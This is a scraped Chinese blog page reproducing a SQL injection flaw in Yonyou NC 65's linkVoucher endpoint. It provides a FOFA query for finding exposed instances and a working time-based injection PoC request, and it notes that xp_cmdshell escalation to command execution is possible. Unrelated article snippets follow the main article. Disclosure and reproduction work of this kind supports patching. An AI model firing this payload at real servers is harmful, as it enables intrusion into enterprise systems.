当前位置： 首页 > news >正文

用友NC linkVoucher SQL注入漏洞复现

news 2026/4/6 8:15:11

0x01 产品简介

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。

0x02 漏洞概述

用友NC /portal/pt/yercommon/linkVoucher 接口存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

0x03 影响范围

NC 65

0x04 复现环境

FOFA：app="用友-UFIDA-NC"

0x05 漏洞复现

PoC

GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent:

相关文章：

用友NC linkVoucher SQL注入漏洞复现

0x01 产品简介 用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。 0x02 漏洞概述 用友NC /portal/pt/yercommon/linkVoucher 接口存在…...

编程日记 2024/5/27 21:08:59

部署Prometheus + Grafana实现监控数据指标

1.1 Prometheus安装部署 Prometheus监控服务 主机名IP地址系统配置作用Prometheus192.168.110.27/24CentOS 7.94颗CPU 8G内存 100G硬盘Prometheus服务器grafana192.168.110.28/24CentOS 7.94颗CPU 8G内存 100G硬盘grafana服务器 监控机器 主机名IP地址系统配置k8s-master-0…...

编程日记 2024/5/27 21:07:58

GEE27：遥感数据可用数据源计算及条带号制作

1.写在前面 🌍✨今天读了一篇关于遥感数据可用数据源计算及条带号制作的文章，结合着自己的理解，添加了一些内容。 2.GEE代码 📚📚这段代码的主要作用是利用Google Earth Engine平台，通过分析Landsat 8影…...

编程日记 2024/5/27 21:05:55

FURNet问题

1. 为什么选择使用弱监督学习？ 弱监督学习减少了对精确标注数据的依赖，这在医学图像处理中尤为重要，因为高质量标注数据通常需要大量专业知识和时间。弱监督学习通过利用少量标注数据或粗略标注数据来训练模型，降低了数据准备的成…...

编程日记 2024/5/27 21:03:53

抖音小店怎么对接达人合作？达人带货的细节分享，附邀约达人话术

大家好，我是电商花花 人有多大胆，地就有多大产，做抖店想要出单，爆单，那必须要对接大量的达人来帮我们带货，抖音小店就是直播电商，帮我们对接的达人越多，出单就越多。 所以做抖店如…...

编程日记 2024/5/27 21:02:52

迈向未来：Web3 技术开发的无限可能

在当今的数字时代，互联网技术日新月异，推动着各行各业的变革与发展。从Web1.0的信息发布，到Web2.0的社交互动，互联网的每一次进化都为人们的生活带来了深远的影响。如今，Web3的到来正在开启一个全新的时代，…...

编程日记 2024/5/27 21:01:51

Python应用开发——30天学习Streamlit Python包进行APP的构建（2）

🗓️ 天 14 Streamlit 组件s Streamlit 组件s 是第三方的 Python 模块，对 Streamlit 进行拓展 [1]. 有哪些可用的 Streamlit 组件s？ 好几十个精选 Streamlit 组件s 罗列在 Streamlit 的网站上 [2]. Fanilo（一位 Streamlit 创作者）在 wiki 帖子中组织了一个很棒的 St…...

编程日记 2024/5/27 21:00:50

Leecode热题100---46：全排列（递归）

题目： 给定一个不含重复数字的数组 nums ，返回其 所有可能的全排列 。你可以 按任意顺序 返回答案。 思路： 元素交换函数递归： 通过交换元素来实现全排列。即对于[x, nums.size()]中的元素，for循环遍历每个元素分别成…...

编程日记 2024/5/27 20:59:48

Android 多语言

0. Locale方法 Locale locale Locale.forLanguageTag("zh-Hans-CN"); 执行如下方法返回字符串如下： 方法 英文下执行 中文下执行 备注 getLanguage()zhzhgetCountry()CNCNgetDisplayLanguage()zh中文getDisplayCountry()CN中国getDisplayName()zh (…...

编程日记 2024/5/27 20:58:47

Thingsboard规则链：Message Type Filter节点详解

一、Message Type Filter节点概述 二、具体作用 三、使用教程 四、源码浅析 五、应用场景与案例 智能家居自动化 工业设备监控 智慧城市基础设施管理 六、结语 在物联网（IoT）领域，数据处理与自动化流程的实现是构建智能系统的关键。作…...

编程日记 2024/5/27 20:57:46

SQLI-labs-第二十五关和第二十五a关

目录 第二十五关 1、判断注入点 2、判断数据库 3、判断表名 4、判断字段名 5、获取数据库的数据 第二十五a关 1、判断注入点 2、判断数据库 第二十五关 知识点：绕过and、or过滤 思路： 通过分析源码和页面，我们可以知道对and和or 进…...

编程日记 2024/5/27 20:56:45

Windows、Linux添加路由

目录 一、Windows添加路由 1. 查看路由规则 2. 添加路由规则 3. 添加默认路由 4. 删除路由规则 二、Linux添加路由 1. 查看路由 2. 添加路由 3. 删除路由 4. 修改路由 5. 临时路由 6. 默认网关设置 一、Windows添加路由 1. 查看路由规则 route print 2. 添加…...

编程日记 2024/5/27 20:53:42

Swift 初学者交心：在 Array 和 Set 之间我们该如何抉择？

概述 初学 Swift 且头发茂密的小码农们在日常开发中必定会在数组（Array）和集合（Set）两种类型之间的选择中“摇摆不定”，这也是人之常情。 Array 和 Set 在某些方面“亲如兄弟”，但实际上它们之间却有着“云…...

编程日记 2024/5/27 20:52:41

C++ 类模板 函数模板

类模板 #include <bits/stdc.h> using namespace std; //多少变量就写多少个 template<typename T1, typename T2> class Cat { public:Cat(){}Cat(T1 name, T2 age){this->age age;this->name name;}void print(){cout << this->name << …...

编程日记 2024/5/27 20:51:40

OTP8脚-全自动擦鞋机WTN6020-低成本语音方案

一&#xff0c;产品开发背景 首先&#xff0c;随着人们生活质量的提升&#xff0c;对鞋子的保养需求也日益增加。鞋子作为人们日常穿着的重要组成部分&#xff0c;其清洁度和外观状态直接影响到个人形象和舒适度。因此&#xff0c;一种能够自动清洁和擦亮鞋子的设备应运而生&am…...

编程日记 2024/5/27 20:49:38

GpuMall智算云：meta-llama/llama3/Llama3-8B-Instruct-WebUI

LLaMA 模型的第三代&#xff0c;是 LLaMA 2 的一个更大和更强的版本。LLaMA 3 拥有 35 亿个参数&#xff0c;训练在更大的文本数据集上GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall,面向AI开发者的GPU云平台 Llama 3 的推出标志着 Meta 基于 Llama 2 架构推出了四个新…...

编程日记 2024/5/27 20:48:37

内存泄漏案例分享4-异步任务流内存泄漏

案例4——异步任务内存泄漏 异步任务&#xff0c;代指起子线程异步完成一些数据操作、网络接口请求等&#xff0c;通常会使用以下API&#xff1a; Runnbale&#xff0c;Thread,线程池RxJavaHandlerThread 而这些异步任务很有可能操作内存泄漏&#xff0c;下面我们以Rxjava为…...

编程日记 2024/5/27 20:46:34

【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作？

一、什么是池化&#xff1f; 卷积神经网络&#xff08;CNN&#xff09;中的池化&#xff08;Pooling&#xff09;操作是一种下采样技术&#xff0c;其目的是减少数据的空间维度&#xff08;宽度和高度&#xff09;&#xff0c;同时保持最重要的特征并降低计算复杂度。池化操作不…...

编程日记 2024/5/27 20:45:33

RPA机器人流程自动化如何优化人力资源工作流程

人力资源部门在支持员工和改善整体工作环节方面扮演着至关重要的角色&#xff0c;但是在人资管理的日常工作中&#xff0c;充斥着大量基于规则的重复性任务&#xff0c;例如简历筛选、面试安排、员工数据管理、培训管理、绩效管理等&#xff0c;这些任务通常需要工作人员花费大…...

编程日记 2024/5/27 20:44:32

OpenHarmony开发者大会2024:鸿心聚力 智引未来

2024年5月25日&#xff0c;OpenAtom OpenHarmony&#xff08;简称“OpenHarmony")委员会以“鸿心聚力&#xff0c;智引未来”为主题&#xff0c;在创新之城深圳举办OpenHarmony开发者大会2024&#xff0c;为开发者、产业组织、生态伙伴和行业客户搭建一个交流、分享和学习…...

编程日记 2024/5/27 20:43:31

文脉定序完整指南：从模型下载、镜像构建、服务启动到监控告警全流程

文脉定序完整指南&#xff1a;从模型下载、镜像构建、服务启动到监控告警全流程 如果你正在构建一个智能问答系统或知识库&#xff0c;一定遇到过这样的烦恼&#xff1a;系统能搜出一堆看似相关的文档&#xff0c;但最精准、最贴切的答案往往不在最前面。用户需要手动翻找&…...

编程新知 2026/4/6 7:58:34

影墨·今颜模型Win11/Win10系统UI风格适配与生成测试

影墨今颜模型Win11/Win10系统UI风格适配与生成测试 最近在折腾桌面美化&#xff0c;突然冒出一个想法&#xff1a;现在AI生成图片这么厉害&#xff0c;能不能让它直接帮我生成一套风格统一的系统UI元素呢&#xff1f;比如Win11那种清爽现代的图标&#xff0c;或者Win10那种经典…...

编程新知 2026/4/6 7:05:54

LFM2.5-1.2B-Thinking-GGUF效果展示：多语言混合prompt响应能力实测

LFM2.5-1.2B-Thinking-GGUF效果展示&#xff1a;多语言混合prompt响应能力实测 1. 模型核心能力概览 LFM2.5-1.2B-Thinking-GGUF是Liquid AI推出的轻量级文本生成模型&#xff0c;专为低资源环境优化设计。这个1.2B参数的模型采用GGUF格式&#xff0c;通过llama.cpp运行时实现高…...

编程新知 2026/4/6 5:38:21

DeepSeek-R1-Distill-Llama-8B行业落地：金融研报初稿生成与合规性校验辅助应用实践

DeepSeek-R1-Distill-Llama-8B行业落地&#xff1a;金融研报初稿生成与合规性校验辅助应用实践 1. 引言&#xff1a;金融分析师的新助手 如果你在金融行业工作&#xff0c;每天都要写各种研究报告&#xff0c;那你一定知道这个过程有多耗时耗力。从收集数据、分析趋势&#x…...

编程新知 2026/4/6 5:38:21

北京天文馆新馆玻璃幕墙及玻璃旋体设计与施工技术

北京天文馆新馆玻璃幕墙及玻璃旋体设计与施工技术 摘要：本文对北京天文馆新馆异形玻璃幕墙及采光顶、马鞍形玻璃通道和 四个体形各异的玻璃旋体，在设计和施工中碰到的技术难题及解决方案作了详细的介绍，特别是对异形钢结构和不规则双曲面玻璃的加工制作以及特殊节点的外观…...

编程新知 2026/4/6 5:38:21

高级应用：将Decision Transformer部署到生产环境的完整流程

高级应用&#xff1a;将Decision Transformer部署到生产环境的完整流程 【免费下载链接】decision-transformer Official codebase for Decision Transformer: Reinforcement Learning via Sequence Modeling. 项目地址: https://gitcode.com/gh_mirrors/de/decision-transfo…...

编程新知 2026/4/6 3:37:04

实现堆和用堆实现排序数组

什么是堆 就是完全二叉树 前h-1层都是满的 最后一层可以不满&#xff0c;但从左到右必须连续。 逻辑上是链 物理上是数组 首先&#xff0c;实现堆 一、定义一个结构体&#xff0c;用来存3个值 a就是的数组地址 size是有效元素的个数 capacity是总容量&#xff0c;size…...

编程新知 2026/4/6 1:33:48

基于智能软开关的配电网优化调度分析（含故障恢复能力与分布式电源影响）

基于智能软开关的配电网优化调度matlab 采用matlab编程&#xff0c;分析得到了含智能软开关下的配电网故障恢复能力&#xff0c;包括恢复负荷、失电节点以及节点电压等&#xff0c;程序选择标准ieee33节点系统作为分析对象&#xff0c;采用yalmip编程&#xff0c;运行稳定。 这…...

编程新知 2026/4/6 1:23:41

EF Core 原生 SQL 实战：FromSql、SqlQuery 与对象映射边界

先唠两句&#xff1a;参数就像餐厅点单 把API想象成一家餐厅的“后厨系统”。 ? 路径参数/dishes/{dish_id} -> 好比你要点“宫保鸡丁”这道具体的菜&#xff0c;它是菜单&#xff08;资源路径&#xff09;的一部分。查询参数/dishes?spicytrue&typeSichuan -> 好比…...

编程新知 2026/4/6 1:11:36

[具身智能-228]：OpenCV的主要功能

OpenCV&#xff08;Open Source Computer Vision Library&#xff09;被誉为计算机视觉领域的“瑞士军刀”。它是一个基于 BSD 许可发行的开源库&#xff0c;提供了超过 2500 个优化算法&#xff0c;涵盖了从底层像素处理到高层视觉理解的完整技术链路。结合最新的技术资料&…...

编程新知 2026/4/6 0:20:50